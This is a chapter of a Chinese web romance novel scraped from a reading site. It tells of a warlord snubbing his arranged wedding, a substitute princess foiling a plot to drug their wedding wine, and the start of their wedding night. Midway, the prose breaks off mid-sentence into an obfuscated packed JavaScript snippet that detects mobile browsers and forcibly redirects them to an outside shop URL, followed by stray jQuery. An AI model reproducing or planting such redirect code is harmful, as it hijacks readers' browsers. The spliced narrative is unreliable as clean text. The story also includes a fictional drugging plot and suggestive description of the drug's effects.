文趣网 > 其他小说 > 折娇骨 > 4. 第 4 章
    婚事在即,整座朱雀台开始忙碌裴烬的大婚。

    裴烬虽无双亲在世,也无宗庙需祭,却也需要告慰天地神明。

    他对这桩婚事不看重,探望过伤兵后也未换服饰,淡淡立在庙堂,敬拜神明列位。

    身后的太卜令突然大喜出声,激动地指着龟甲上的卦象:“大吉,大吉!”

    他激动地朝裴烬健硕背影狠狠一跪:“此桩婚事乃天作!于天下苍生与主君皆是大吉!卦中星辰拱照、龙行虎步,皆显帝王之相!”

    裴烬回头,清长的黑眸深不可测。他弯起薄唇,几步行到太卜令身前,和颜悦色:“平身,甚好,此卦保密,安心准备婚事罢。”

    季青砚也激动万分,见裴烬如此平和,忙跟上他走出庙堂:“为何你如此淡定,天下安定是你我夙愿,你怎么不高兴?”

    “老子的朱雀台恐是被买通了。”

    季青砚一怔。

    裴烬冷睨着仍在激动看卦的太卜令。

    季青砚顺着他视线道:“你是说长乐公主买通了我们的人?恐是不对,我的人道她这几日都未接触过云浮院之外的人。”

    “无事,我心中有数。”裴烬冷笑一声,更衣赴宴,未再将此事放在心上。

    他只是想,那个一瞥惊鸿的恶女留不得。

    ……

    无端被怀疑的沈幼辞正在云浮院应对这桩婚事。

    几日前她派出去假意寻找留金的一队人已归来,说留金抱病途中,暂且不能及时赶回来服侍她。

    内侍荣喜禀报道:“公主安心应对婚事,有何事唤奴婢。”

    沈幼辞颔首。

    荣喜退了下去。

    夜半时,吉安来了沈幼辞跟前。

    宜湘仔细守到门口。

    屋内,吉安低声道:“师父接过留金姑姑的嘱托,要在您的合卺酒与饮食中掺下那药。”

    吉安说所幸荣喜将此事全权交给他,明日大婚上吉安会换下合卺酒与被下药的食物。

    那药是助男女燃情的药,药中大补,对女子也有助孕之用。

    来之前,天子便以阿娘和妹妹的性命布下命令,要沈幼辞取得裴烬信任,找机会杀了裴烬。只是天子也知道裴烬恐怕不好杀,遂命令沈幼辞要尽早诞下裴烬的血脉,母凭子贵,再伺机灭裴烬。

    可沈幼辞偏不。

    她有了机会该报复的是大梁,是天子。

    裴烬是可以成为她的一把刀,如果他真愿意听信她,他们是可以共同灭梁的。

    但是这十一年来所受之痛让她明白,人该凭己贵,依托给别人终究不妥。

    如今走一步看一步罢,大婚之夜的药万不可给她和裴烬下。

    长乐本来就有恶名在先,来卫地之前她便同梁帝与贵妃献策,说她这些年的恶名都是继后与贵妃两党相争的抹黑。若用了药,她还怎么洗脱轻浮之名。

    荣喜身为内侍监首领,与留金一样是天子安插在她身边监视她的人,好在她这些年收服了他的徒弟吉安为心腹。此行表面上是她派人出去寻留金,实则她是暗中交代吉安去灭留金。

    可惜留金身边竟有天子赐下的暗卫保护,吉安没能灭口,反倒让荣喜将药带回来了。

    昏黄烛光落在沈幼辞眼底,她支着下颔道:“好,先退下罢,明日的药我万不可用。”

    吉安再次谨慎应下,躬身退了出去。

    ……

    翌日。

    天朗气清,明光万丈。

    这匆忙布置的婚礼到底如期举行了。

    沈幼辞身着妍丽的喜服,望着盖头下她漂亮的绣履。随行来的礼官指引她一步一步踏进朱雀宫,洛阳来的使臣也皆朝她参拜,洪亮的“公主长乐金安”声若龙钟,回荡在盖头之外。

    “卫候还未到?”

    婚礼进行许久后,大梁使臣询问礼官,却没等到回应。

    又过许久,殿外才传来一声高喝:“君上有要事在身,无法前来行大婚之礼——”

    现场霎时寂然。

    就算沈幼辞被盖头覆了视线,也能感受到众人异样的目光。

    裴烬不能来……该是他故意的罢。

    即便看不到盖头外的视野,沈幼辞也知道冀州的人在看她笑话,洛阳来的使臣该是在受白眼。

    一使臣道:“卫候有何要事,竟比天子赐婚还紧要?”

    “君上的战马今日突然倒地不起,战马陪我们君上征战多年,君上的命也受爱骑保护。”来人回道,“诸位使官勿急,长乐公主勿燥,君上嘱咐了他夜间会归。婚事乃受天子看重,君上特除爱袍代他真身与公主完礼,以谢天子恩泽。”

    沈幼辞捏紧了宽袖。

    什么意思,要她同他的衣裳拜堂?

    他是死了么?

    她知道裴烬憎恶梁天子,连带着也不会接受视人命如草芥的长乐,她是有准备迎接他的恶意的,只是没想过前有拒婚在先,现又有这番刁难。

    宜湘搀扶她手腕,握紧的力道在安慰她勿要动怒。

    是啊,天子要她取悦裴烬,得裴烬的信任。

    大梁使臣也早得到使命,虽然不知道她是长乐的替身,但也小心翼翼照拂她情绪,低声劝道:“公主,卫候重拥雄兵,如今我们在他的地盘上,您便先依了……”

    沈幼辞掀了盖头。

    华光入眼,她美目微阖。

    四周似有瞬间哗声,无数的视线都在刹那间落在她身上,但又似乎不约而同寂然收敛。

    沈幼辞望着这些卫地的兵将重臣,他们也在看她,从她美貌姝绝的脸上收起眼底的惊澜,不约而同地避开视线。

    裴烬的兵将重臣都太团结了,像无事发生一样站在那里,四周一片静,唯有一旁几名年轻武将红透了脖子,连眼角余光都躲着不敢看沈幼辞。

    沈幼辞揭盖头不是因为动怒。

    她是假的,她又不会跟裴烬过一生,他怎样都无所谓。

    但她不能没有公主气节。

    坐实公主身份,才不会连累至亲与她。

    使臣与喜婆果因盖头劝道:“公主,您摘了盖头不吉……”

    “卫候爱驹有恙,便是卫候有恙,如今我嫁与卫候便是与他夫妻一体。”沈幼辞音容清冷,“既然我的丈夫无法前来,我亦应该随君行事。”

    沈幼辞取下发髻上华丽的九凤冠。

    “此乃我父皇精心制与我的凤冠,是我心爱之物,很配我夫君爱袍。宜湘,托着此冠同卫候爱袍拜堂行礼罢!”

    婚礼结束了。

    裴烬那一身玄金衣袍同沈幼辞摘下的凤冠拜在一处,在庙堂与众臣前完成了三拜仪式。

    裴烬得知这消息,朱雀宫中传出谢毅的哄笑。

    “履先,这次是你吃瘪,哈哈哈!”

    履先是裴烬的字。

    谢毅是裴烬自小到大的玩伴,同季青砚一样是他的结义兄弟,攻下青州还有诸多防守事宜,他今日方从青州赶回,特意来参加裴烬大婚,即便裴烬未把这婚事放在眼里。

    谢毅取笑问:“你打算如何做?夜深了,你该去安抚一下新婚美妻了,哈哈!”

    裴烬淡抿薄唇,指腹摩过腰间软绵的佩绶。

    他本就不愿让那恶女当他的妻,不去拜堂自然是存心给她的刁难,但他未想这恶名远扬的天之骄女会轻易破了他的威。

    裴烬未多言,看了眼殿外天

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914109|213259||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    色。

    清夜蟾光明朗,十五的圆月凌空高悬。

    他道:“我自有考量。”

    季青砚正要沉吟开口嘱咐裴烬,裴烬看着他道:“我先去了。”

    季青砚点点头:“履先,你是我们的主君,卫地三百八十万百姓皆受你庇护,你要为大局考虑。”

    裴烬颔首。

    穿过一路喜气的烛光,裴烬踏着月色来到云浮院。

    梁天子赐来的奴仆太多,云浮院都住不下,前日近侍来禀报时,裴烬极厌恶天家的奢靡铺张。此刻,这些奴仆都跪地朝裴烬行礼。

    满室馨香,喜烛静燃。

    裴烬步入寝殿,睨着窗前独饮的背影。

    沈幼辞的身影纤腰婉约,臂间的披帛随姿态而动,窗前盛放的芍药托起她飘然宽袖,她连一个背影都仪态万千。

    她在婢女的禀报声中回过头,看着他。

    她有一双漂亮到摄魂的眼睛。

    前日她擅闯朱雀宫时裴烬便记住了她这双眼。

    除了这双美目,她的五官,她的身段都昳丽独绝。

    裴烬那日的确想将此女赐给杨绍,不过那日她在殿中一门心思勾引他注意,又是推了盛装的媵妾出来,又是身穿白裙假装冰清玉洁,他倒想看看她在他地盘上能耍什么花样。

    只是此刻,望着烛光染红的白皙娇靥,裴烬觉得那日或许不该留这恶女。

    “卫候的爱驹好了吗?”

    裴烬移开眸光,未答,淡扫了眼屋内陈设。

    满屋子尽是天家珍贵之物,她站在其中,倒真像花团拥簇中的国色,无怪昏庸的梁天子会极宠这个女儿。自然,她浪荡不贞、男宠无数的事迹裴烬也听尽人言。

    裴烬道:“公主前日呈的药孤用过了。”

    “卫候伤势在何处?我看看。”

    沈幼辞放下酒盏,款步行至裴烬身前,却被他近侍拦下。

    屋中点了无数明烛,绢灯上绘的喜鹊娇憨可爱,烛光跳动,那鹊影也宛若振了翅膀。

    沈幼辞停下,她并未恼羞,而是仰着头凝视裴烬。

    她知道裴烬厌恶她,打消他的厌恶不会在这一时。

    只是今夜她必须留住他。

    沈幼辞淡淡笑了笑:“我知道你厌恶我父皇,厌恶我,谁都不会喜欢凭空降下的婚事,我初来冀州,其实也不适应如今的局势和身份。你不喜欢我碰你,我听你的好了。”

    沈幼辞唤宜湘端来合卺酒。

    洛阳来的礼官恭敬入内,展旨念着祝词。

    沈幼辞举杯迎上眼前的裴烬。

    他太高大,来之前她便听人说过冀州王裴烬骁勇悍猛,身高九尺,刀枪舔万军血。

    此刻,望着眼前人,沈幼辞需要仰面才够凝视。九尺夸张了,离两米还逊些些,他远胜八尺,健硕的宽肩,修长四肢,脖颈与手背上的青筋都极有武将的力量。

    沈幼辞有些惧他的高大。

    这杯酒举了许久,裴烬漆黑的眸子平静无波,她看不到他的喜怒,直到他端起礼官的酒杯,生茧的大掌绕过她腕间。

    沈幼辞的高履已足够增加她的身量,但还是需得踮起脚尖仰面才饮下这酒。

    酒里没有药。

    吉安做到了。

    沈幼辞也不敢用药。

    那药她曾服过,他们要她有取悦裴烬的本事。

    药一点也不苦,入了体内似催开一团暖热,心如饮蜜之甜。

    那甜从肌肤到骨头,似有温软的山泉源源不断汩涌出热流,连尾椎骨都是酥的。她的身体轻而软,根本没有自控的能力。那一次她学着教习女官的教导,一遍一遍,像把终生饮过的水都流尽了……